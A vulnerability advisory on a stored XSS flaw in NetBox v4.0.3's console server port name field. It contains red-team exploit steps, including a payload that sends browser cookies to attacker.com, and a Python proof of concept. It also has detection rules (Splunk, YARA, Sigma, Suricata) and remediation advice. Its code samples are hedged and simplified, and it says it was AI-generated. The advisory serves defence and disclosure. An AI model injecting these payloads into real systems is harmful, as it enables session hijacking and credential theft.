CVE-2024-40728
Executive Summary
CVE-2024-40728 is a stored Cross-Site Scripting (XSS) vulnerability discovered in NetBox v4.0.3, specifically within the console server port editing functionality. An authenticated attacker with low privileges can inject arbitrary JavaScript or HTML into the Name parameter at /dcim/console-server-ports/{id}/edit/. When an administrator or other user views the affected port, the malicious script executes in their browser session, potentially leading to session hijacking, credential theft, or further lateral movement within the NetBox instance. The vulnerability has a CVSS v3.1 base score of 5.4 (Medium), with a public proof-of-concept available. No official patch has been released as of the latest advisory, but input sanitization and output encoding are recommended mitigations.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
NetBox is a Python/Django-based open-source application distributed via PyPI and GitHub. This vulnerability does not directly affect the supply chain packages themselves, but the lack of a patched release means that organizations relying on PyPI or Docker images must manually apply security controls. No malicious package injection has been reported, but the risk of supply chain compromise increases if the vulnerable version is used in CI/CD pipelines or production environments.
CVSS Breakdown & Threat Level
- Attack Vector (AV): Network (N) – The attack is carried out over the network.
- Attack Complexity (AC): Low (L) – No special conditions are required.
- Privileges Required (PR): Low (L) – An attacker needs a valid NetBox account with minimal permissions.
- User Interaction (UI): Required (R) – The victim must view the maliciously crafted port page.
- Scope (S): Changed (C) – The vulnerability impacts resources beyond the vulnerable component.
- Confidentiality (C): Low (L) – Limited data exposure possible.
- Integrity (I): Low (L) – Limited ability to modify data.
- Availability (A): None (N) – No direct impact on availability.
Threat Level: Medium. The requirement for authentication and user interaction reduces the immediate risk, but the potential for session hijacking and data theft in a shared NetBox environment is significant.
Deep Dive & Mechanics
The vulnerability resides in the dcim/views.py or similar view handling the ConsoleServerPort model's edit form. The Name field is not properly sanitized before being stored in the database and later rendered in the HTML response. NetBox uses Django templates, which by default auto-escape HTML, but if the field is rendered using the |safe filter or in a JavaScript context without proper escaping, the injected payload executes.
Attack Flow:
- Attacker logs into NetBox with low-privileged credentials.
- Navigates to
/dcim/console-server-ports/{id}/edit/for an existing port. - Injects a payload like
<img src=x onerror=alert(1)>into theNamefield. - Submits the form. The payload is stored in the database.
- When an administrator or any user views the console server port list or detail page, the payload executes in their browser.
Root Cause: Insufficient input validation and output encoding on the Name parameter. The application does not strip or escape HTML tags before storage, and the template renders the field without proper context-aware escaping.
Vulnerable vs. Patched Code
Vulnerable Code (NetBox v4.0.3):
# views.py (simplified)
class ConsoleServerPortEditView(EditView):
model = ConsoleServerPort
fields = ['name', 'speed', 'type', ...]
# No custom sanitization; relies on Django's default auto-escape
Vulnerable Template (simplified):
<!-- port_edit.html -->
<input type="text" name="name" value="{{ form.name.value }}" />
<!-- The value is auto-escaped by Django, but if used in a JavaScript context or with |safe, it becomes vulnerable -->
Patched Code (Recommended):
# views.py (patched)
from django.utils.html import escape
class ConsoleServerPortEditView(EditView):
model = ConsoleServerPort
fields = ['name', 'speed', 'type', ...]
def form_valid(self, form):
# Sanitize the name field
form.instance.name = escape(form.cleaned_data['name'])
return super().form_valid(form)
Patched Template (Recommended):
<!-- port_edit.html -->
<input type="text" name="name" value="{{ form.name.value|escape }}" />
<!-- Explicitly escape even if auto-escape is on -->
Exploitation & Lab Setup
Red Team
Prerequisites:
- NetBox v4.0.3 running (Docker or manual install).
- A low-privileged user account (e.g., user with "dcim" read/write permissions).
Exploit Steps:
- Log in to NetBox as the low-privileged user.
- Identify an existing console server port or create one if permissions allow.
- Send a POST request to
/dcim/console-server-ports/{id}/edit/with the following payload in thenameparameter:<img src=x onerror=fetch('https://attacker.com/steal?cookie='+document.cookie)> - Submit the form. The payload is stored.
- Wait for an administrator to view the port list or detail page. The script executes, exfiltrating cookies.
Proof-of-Concept (Python):
import requests
target = "http://netbox.local"
session = requests.Session()
# Login
session.post(f"{target}/login/", data={"username": "attacker", "password": "password"})
# Exploit
payload = "<img src=x onerror=alert(1)>"
session.post(f"{target}/dcim/console-server-ports/1/edit/", data={"name": payload, "speed": 1000, "type": "8p8c"})
print("Payload injected. Trigger by viewing the port.")
Blue Team
Detection & Response:
- Monitor for unusual POST requests to
/dcim/console-server-ports/*/edit/containing HTML tags or JavaScript keywords. - Review web server logs for
onerror,alert,fetch, ordocument.cookiein request parameters. - Use WAF rules to block common XSS patterns in the
namefield. - Implement Content Security Policy (CSP) headers to mitigate script execution.
Hunting Query (Splunk):
index=web sourcetype=access_combined
| search uri="/dcim/console-server-ports/*/edit/" method=POST
| rex field=form_data "name=(?<payload>[^&]+)"
| search payload IN (*<*, *onerror*, *alert*, *script*)
| table _time, src_ip, user, payload
Indicators of Compromise (IOCs)
- Network IOCs:
- POST requests to
/dcim/console-server-ports/*/edit/with HTML/JavaScript in thenameparameter. - Outbound connections to attacker-controlled domains from NetBox server (if payload exfiltrates data).
- POST requests to
- Host IOCs:
- Stored XSS payloads in the
dcim_console_server_porttable'snamecolumn. - Unusual entries in Django admin logs showing edits to console server ports.
- Stored XSS payloads in the
- File IOCs:
- Modified templates or views that bypass sanitization (if attacker has code execution).
Detection Engineering
YARA Rule
rule CVE_2024_40728_XSS_Payload {
meta:
description = "Detects XSS payloads targeting NetBox console server port name field"
author = "Valters IT"
date = "2025-04-10"
cve = "CVE-2024-40728"
strings:
$xss1 = /<[^>]*onerror\s*=[^>]*>/i
$xss2 = /<[^>]*onload\s*=[^>]*>/i
$xss3 = /<script[^>]*>.*<\/script>/i
$xss4 = /javascript\s*:/i
$xss5 = /alert\s*\(/i
$xss6 = /fetch\s*\(/i
$xss7 = /document\.cookie/i
condition:
any of ($xss*)
}
Sigma Rule
title: NetBox Console Server Port XSS Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects XSS payloads in NetBox console server port edit requests
author: Valters IT
date: 2025/04/10
logsource:
category: webserver
product: apache
service: access_combined
detection:
selection:
cs-method: POST
cs-uri-stem|startswith: '/dcim/console-server-ports/'
cs-uri-stem|endswith: '/edit/'
keywords:
- '<'
- 'onerror'
- 'alert'
- 'script'
- 'javascript:'
condition: selection and keywords
falsepositives:
- Legitimate use of HTML in name field (unlikely)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-40728 NetBox Console Server Port XSS Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/dcim/console-server-ports/"; http_uri; content:"/edit/"; http_uri; pcre:"/(<[^>]*onerror|<script|alert\s*\(|fetch\s*\()/i"; classtype:web-application-attack; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Upgrade NetBox to the latest version (if a patched release becomes available).
- Apply Input Sanitization: Manually patch the vulnerable view to escape the
namefield using Django'sescape()orstrip_tags(). - Enable CSP: Add a Content Security Policy header to restrict script execution:
Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none'; - Restrict User Permissions: Limit who can edit console server ports to trusted administrators only.
Long-Term Fixes:
- Implement a Web Application Firewall (WAF) with XSS rules.
- Conduct regular security code reviews focusing on input validation.
- Use Django's
mark_safeonly when absolutely necessary and with context-aware escaping.
Valters IT Signature: This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters-it.com.